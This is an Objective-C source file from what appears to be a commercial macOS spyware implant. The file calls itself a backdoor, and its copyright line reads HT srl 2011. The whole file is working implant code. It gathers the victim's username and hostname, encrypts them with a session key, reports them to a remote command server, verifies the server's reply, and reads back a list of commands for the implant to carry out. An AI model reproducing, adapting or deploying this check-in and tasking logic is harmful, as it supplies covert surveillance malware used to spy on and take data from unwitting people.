/*
 * RCSMac - Identification Network Operation
 *
 *
 * Created on 12/01/2011
 * Copyright (C) HT srl 2011. All rights reserved
 *
 */

#import "IDNetworkOperation.h"
#import "RCSICommon.h"
#import "NSString+Pascal.h"
#import "NSString+SHA1.h"
#import "NSData+SHA1.h"
#import "NSMutableData+AES128.h"
#import "NSMutableData+SHA1.h"

#import "RCSIGlobals.h"

//#import "RCSMLogger.h"
//#import "RCSMDebug.h"


@implementation IDNetworkOperation

@synthesize mCommands;

- (id)initWithTransport: (RESTTransport *)aTransport
{
  if (self = [super init])
    {
      mTransport = aTransport;
      mCommands  = [[NSMutableArray alloc] init];
      
#ifdef DEBUG_ID_NOP
      infoLog(@"mTransport: %@", mTransport);
#endif
      return self;
    }
  
  return nil;
}


- (BOOL)perform
{
#ifdef DEBUG_ID_NOP
  infoLog(@"");
#endif
  uint32_t command    = PROTO_ID;
  NSString *userName  = NSUserName();
  
  int i = 0;
  uint32_t _command;
  
  char tempHost[100];
  NSString *hostName;
  if (gethostname(tempHost, 100) == 0)
    hostName = [NSString stringWithUTF8String: tempHost];
  else
    hostName = @"EMPTY";
  
  NSString *sourceID = @"";
  
  NSMutableData *message = [[NSMutableData alloc] init];
  // command PROTO_ID
  [message appendBytes: &command
                length: sizeof(command)];
  // backdoor version
  [message appendBytes: &gVersion
                length: sizeof(gVersion)];
  // userid
  [message appendData: [userName pascalizeToData]];
  // deviceid (hostname)
  [message appendData: [hostName pascalizeToData]];
  // sourceid (not important)
  [message appendData: [sourceID pascalizeToData]];
  // sha1 check
  NSData *messageSha = [message sha1Hash];
  [message appendData: messageSha];
  
#ifdef DEBUG_ID_NOP
  infoLog(@"message: %@", message);
#endif
  
  //
  // Send encrypted message
  //
  NSURLResponse *urlResponse  = nil;
  NSData *replyData           = nil;
  
  [message encryptWithKey: gSessionKey];
  replyData = [mTransport sendData: message
                 returningResponse: urlResponse];
  
  if (replyData == nil)
    {
#ifdef DEBUG_ID_NOP
      errorLog(@"empty reply from server");
#endif
    
      return NO;
    }
  
  NSMutableData *decData      = [[NSMutableData alloc] initWithData: replyData];
  [decData decryptWithKey: gSessionKey];
  
#ifdef DEBUG_ID_NOP
  infoLog(@"decrypted data: %@", decData);
#endif
  
  //
  // Now check the response
  // OK - num_of_commands - array[num_of_commands] - sha1 - padding
  //
  uint32_t responseCommand;
  [decData getBytes: &responseCommand
             length: sizeof(uint32_t)];
  
  // remove padding
  [decData removePadding];
  
  //
  // check integrity
  //
  NSData *shaRemote;
  NSData *shaLocal;
  
  @try
    {
      shaRemote = [decData subdataWithRange:
                   NSMakeRange([decData length] - CC_SHA1_DIGEST_LENGTH,
                               CC_SHA1_DIGEST_LENGTH)];
      shaLocal = [decData subdataWithRange:
                  NSMakeRange(0, [decData length] - CC_SHA1_DIGEST_LENGTH)];
    }
  @catch (NSException *e)
    {
#ifdef DEBUG_ID_NOP
      errorLog(@"exception on sha makerange (%@)", [e reason]);
#endif
      
      return NO;
    }
  
  shaLocal = [shaLocal sha1Hash];
  
#ifdef DEBUG_ID_NOP
  infoLog(@"shaRemote: %@", shaRemote);
  infoLog(@"shaLocal : %@", shaLocal);
#endif
  
  if ([shaRemote isEqualToData: shaLocal] == NO)
    {
#ifdef DEBUG_ID_NOP
      errorLog(@"sha mismatch");
#endif
    
      return NO;
    }
  
  if (responseCommand != PROTO_OK)
    {
#ifdef DEBUG_ID_NOP
      errorLog(@"response != PROTO_OK (%d)", responseCommand);
#endif

      
      return NO;
    }
    
  int64_t serverTime = 0;
  @try
    {
      [decData getBytes: &serverTime
                  range: NSMakeRange(8, sizeof(int64_t))];
    }
  @catch (NSException *e)
    {
#ifdef DEBUG_ID_NOP
      errorLog(@"exception on serverTime makerange (%@)", [e reason]);
#endif
      
      //return NO;
    }
  
#ifdef DEBUG_ID_NOP
  NSDate *givenDate = [NSDate dateWithTimeIntervalSince1970: serverTime];
  infoLog(@"givenDate: %@", givenDate);
#endif
  
  uint32_t numOfCommands = 0;
  
  @try
    {
      [decData getBytes: &numOfCommands
                  range: NSMakeRange(16, sizeof(uint32_t))];
    }
  @catch (NSException *e)
    {
#ifdef DEBUG_ID_NOP
      errorLog(@"exception on numOfCommands makerange (%@)", [e reason]);
#endif
    }
  
  if (numOfCommands == 0)
    {
#ifdef DEBUG_ID_NOP
      warnLog(@"No commands requested from the server");
#endif
      return YES;
    }
  
#ifdef DEBUG_ID_NOP
  infoLog(@"We have (%d) command(s) requested from the server", numOfCommands);
#endif
  
  //
  // Parse all the commands
  //
  for (; i < numOfCommands; i++)
    {
      @try
        {
          [decData getBytes: &_command
                      range: NSMakeRange(20 + (i * 4), sizeof(uint32_t))];
        }
      @catch (NSException *e)
        {
#ifdef DEBUG_ID_NOP
          errorLog(@"exception on command makerange (%@)", [e reason]);
#endif
          
          continue;
        }
      
      NSNumber *command = [NSNumber numberWithUnsignedInt: _command];
      [mCommands addObject: command];
    }
  
  return YES;
}

@end